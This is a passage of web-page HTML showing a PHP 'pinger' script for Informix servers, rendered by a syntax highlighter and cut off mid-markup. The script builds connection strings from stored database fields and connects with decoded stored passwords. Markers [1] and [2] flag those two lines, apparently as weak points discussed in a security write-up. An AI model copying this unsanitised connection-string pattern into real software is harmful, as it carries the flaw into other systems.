-webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &lt;?php  [..]    register_shutdown_function(&#8220;shutdownHandler&#8221;,$db);    ini_set(&#8220;max_execution_time&#8221;, -1);    #set the maxexecution time..  set_time_limit(-1);    ignore_user_abort(TRUE);    @header( &#8216;Content-Type: image\/gif&#8217; );  print base64_decode( &#8216;R0lGODlhAQABAID\/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==&#8217; );  ob_flush();    \/**   * pinger   * get \/ update the status of each server in the connections db.   *\/    # set the CONFDIR  define(CONFDIR,&#8221;..\/conf\/&#8221;);    require_once(CONFDIR.&#8221;config.php&#8221;);  $pinginterval=isset($CONF[&#8220;PINGINTERVAL&#8221;]) ? $CONF[&#8220;PINGINTERVAL&#8221;] : 300;    if ( ! isset($CONF[&#8216;CONNDBDIR&#8217;]) )  {  \t\/\/ error_log(&#8220;Please check config.php param CONNDBDIR &#8211; it doesnt seem to be set.&#8221;);  \treturn;  }    if ( ! is_dir($CONF[&#8216;CONNDBDIR&#8217;]) )  {  \terror_log(&#8220;Please check config.php param CONNDBDIR &#8211; it doesnt seem to be set to a directory.&#8221;);  \treturn;  }    $dbfile=&#8221;{$CONF[&#8216;CONNDBDIR&#8217;]}\/connections.db&#8221;;    $informixdir=getenv(&#8220;INFORMIXDIR&#8221;);    if ( ! file_exists($dbfile) )  {  \t\/\/ error_log(&#8220;*** Cannot find connections.db &#8211; {$dbfile} ****&#8221;);  \tdie();  }    unset($CONF);    # connect to the sqlite database.  $db = new PDO (&#8220;sqlite:{$dbfile}&#8221;);  $db-&gt;setAttribute(PDO::ATTR_CASE,PDO::CASE_UPPER);    \/**   * lets get our last runtime and if we are running ..   *\/     $qry  = &#8220;select lastrun , isrunning from pingerinfo&#8221;;  $stmt = $db-&gt;query($qry);  $row  = $stmt-&gt;fetch(PDO::FETCH_ASSOC);  $stmt-&gt;closeCursor();    if ( $row[&#8216;ISRUNNING&#8217;] &gt; 0 )  {  \t $timenow = time();          if ( $timenow &#8211; $row[&#8216;LASTRUN&#8217;] &gt; 3000 )          {                  error_log( &#8220;Reset pinger &#8211; should run next time &#8220;);                  $db-&gt;query(&#8220;update pingerinfo set isrunning = 0&#8221;);          }        \t\/* we are already running so lets just quit now *\/  \tdie();  }    $timenow = time();  if ( $timenow &#8211; $row[&#8216;LASTRUN&#8217;] &lt; $pinginterval )  {  \t\/\/ error_log( &#8220;no need to run &#8220;.&#8221;Last: &#8220;.($timenow &#8211; $row[&#8216;LAST&#8217;]).&#8221; &#8211; {$pinginterval}&#8221; );  \tdie();  }    $db-&gt;query(&#8220;update pingerinfo set isrunning = {$timenow} &#8220;);    \/\/ error_log ( &#8220;we better run &#8220;.&#8221;Last: &#8220;.($timenow &#8211; $row[&#8216;LAST&#8217;]).&#8221; &#8211; {$pinginterval}&#8221; );    putenv(&#8220;INFORMIXCONTIME=5&#8221;);  putenv(&#8220;INFORMIXCONRETRY=1&#8221;);      \/**   * prepare the update string.   *\/  $update = $db-&gt;prepare(&#8220;update connections set lastpingtime=:now, laststatus=:state , laststatusmsg=:statemsg where conn_num = :conn_num&#8221;);  $update2 = $db-&gt;prepare(&#8220;update connections set lastpingtime=:now, laststatus=:state , laststatusmsg=:statemsg, lastonline=:lastonline where conn_num = :conn_num&#8221;);    \/**   * we need to include the lib\/connections.php   * so we can access the password hooks functions.   *\/    require_once &#8216;connections.php&#8217;;  \/**   * lets get all our defined connections.   *\/   $sql = &#8220;select * from connections order by server&#8221;;  $stmt = $db-&gt;query($sql);  $rows = $stmt-&gt;fetchAll(PDO::FETCH_ASSOC);    $starttime=time();  $status = &#8220;Start Time: {$starttime}n&#8221;;    foreach ( $rows as $k=&gt;$row )  {        \t$now = time();  \t$dsn = &lt;&lt;&lt;EOF  informix:host={$row[&#8216;HOST&#8217;]};service={$row[&#8216;PORT&#8217;]};database=sysmaster;server={$row[&#8216;SERVER&#8217;]};protocol={$row[&#8216;IDSPROTOCOL&#8217;]}; \/\/&lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- [1]  EOF;    \tif ( substr(PHP_OS,0,3) != &#8220;WIN&#8221; )  \t{  \t\t$libsuffix = (strtoupper(substr(PHP_OS,0,3)) == &#8220;DAR&#8221;)? &#8220;dylib&#8221;:&#8221;so&#8221;;  \t\t$dsn .= &#8220;;TRANSLATIONDLL={$informixdir}\/lib\/esql\/igo4a304.&#8221;.$libsuffix;  \t\t$dsn .= &#8220;;Driver={$informixdir}\/lib\/cli\/libifdmr.&#8221;.$libsuffix.&#8221;;&#8221;;  \t}    \t$statemessage=&#8221;Online&#8221;;  \t$state=1;    \t$user   = $row[&#8216;USERNAME&#8217;];  \t$passwd = connections::decode_password( $row[&#8216;PASSWORD&#8217;] );  \t    \ttry  \t{  \t\t$pingdb = new PDO($dsn,$user,utf8_decode($passwd)); &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- [2]  \t}  \tcatch(PDOException $e)  \t{  \t\t\/\/ error_log( $e-&gt;getMessage() );  \t\t$message=preg_split(&#8220;\/:\/&#8221;,$e-&gt;getMessage());  \t\t$statemessage= preg_replace(&#8220;#[.+]#&#8221;,&#8221;&#8221;,$message[1]);  \t\t$statemessage.=&#8221; Last Online:&#8221;.lastonlineconv($row[&#8216;LASTONLINE&#8217;]);  \t\t$state=3;  \t}  [..]  &#8230;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-47\">47<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-48\">48<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-49\">49<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-50\">50<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-51\">51<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-52\">52<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-53\">53<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-54\">54<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-55\">55<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-56\">56<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-57\">57<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-58\">58<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-59\">59<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-60\">60<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-61\">61<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-62\">62<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-63\">63<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-64\">64<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-65\">65<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-66\">66<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-67\">67<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-68\">68<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-69\">69<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-70\">70<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-71\">71<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-72\">72<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-73\">73<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-74\">74<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-75\">75<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-76\">76<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-77\">77<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-78\">78<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-79\">79<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-80\">80<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-81\">81<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-82\">82<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-83\">83<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-84\">84<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-85\">85<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-86\">86<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-87\">87<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-88\">88<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-89\">89<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-90\">90<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-91\">91<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-92\">92<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-93\">93<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-94\">94<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-95\">95<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-96\">96<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-97\">97<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-98\">98<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-99\">99<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-100\">100<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-101\">101<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-102\">102<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-103\">103<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-104\">104<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-105\">105<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-106\">106<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-107\">107<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-108\">108<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-109\">109<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-110\">110<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-111\">111<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-112\">112<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-113\">113<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-114\">114<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-115\">115<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-116\">116<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-117\">117<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-118\">118<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-119\">119<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-120\">120<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-121\">121<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-122\">122<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-123\">123<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-124\">124<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-125\">125<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-126\">126<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-127\">127<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-128\">128<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-129\">129<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-130\">130<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-131\">131<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-132\">132<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-133\">133<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-134\">134<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-135\">135<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-136\">136<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-137\">137<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-138\">138<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-139\">139<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-140\">140<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-141\">141<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-142\">142<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-143\">143<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-144\">144<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-145\">145<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-146\">146<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-147\">147<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-148\">148<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798554789257234-149\">149<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798554789257234-150\">150<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-1\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-i\">php<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-2\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-3\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-4\"><span class=\"crayon-e\">register_shutdown_function<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;shutdownHandler&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">db<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-5\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-6\"><span class=\"crayon-e\">ini_set<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;max_execution_time&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-7\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-8\"><span class=\"crayon-p\">#set the maxexecution time..<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-9\"><span class=\"crayon-e\">set_time_limit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-10\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-11\"><span class=\"crayon-e\">ignore_user_abort<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">TRUE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-12\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-13\"><span class=\"crayon-sy\">@<\/span><span class=\"crayon-e\">header<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;Content-Type: image\/gif&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-14\"><span class=\"crayon-e\">print <\/span><span class=\"crayon-e\">base64_decode<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;R0lGODlhAQABAID\/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-15\"><span class=\"crayon-e\">ob_flush<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-16\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-17\"><span class=\"crayon-c\">\/**<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-18\"><span class=\"crayon-c\"> * pinger<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-19\"><span class=\"crayon-c\"> * get \/ update the status of each server in the connections db.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-20\"><span class=\"crayon-c\"> *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-21\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-22\"><span class=\"crayon-p\"># set the CONFDIR<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-23\"><span class=\"crayon-e\">define<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">CONFDIR<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-s\">&#8220;..\/conf\/&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-24\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-25\"><span class=\"crayon-e\">require_once<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">CONFDIR<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-s\">&#8220;config.php&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-26\"><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">pinginterval<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">isset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">CONF<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8220;PINGINTERVAL&#8221;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">CONF<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8220;PINGINTERVAL&#8221;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">300<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-27\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-28\"><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">isset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">CONF<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;CONNDBDIR&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-29\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-30\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-c\">\/\/ error_log(&#8220;Please check config.php param CONNDBDIR &#8211; it doesnt seem to be set.&#8221;);<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-31\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-32\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-33\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-34\"><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">is_dir<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">CONF<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;CONNDBDIR&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798554789257234-35\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798554789257234-36\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">error_log<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Please check config.php param CONNDBDIR &#8211; it doesnt seem to be set to a directory.&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div 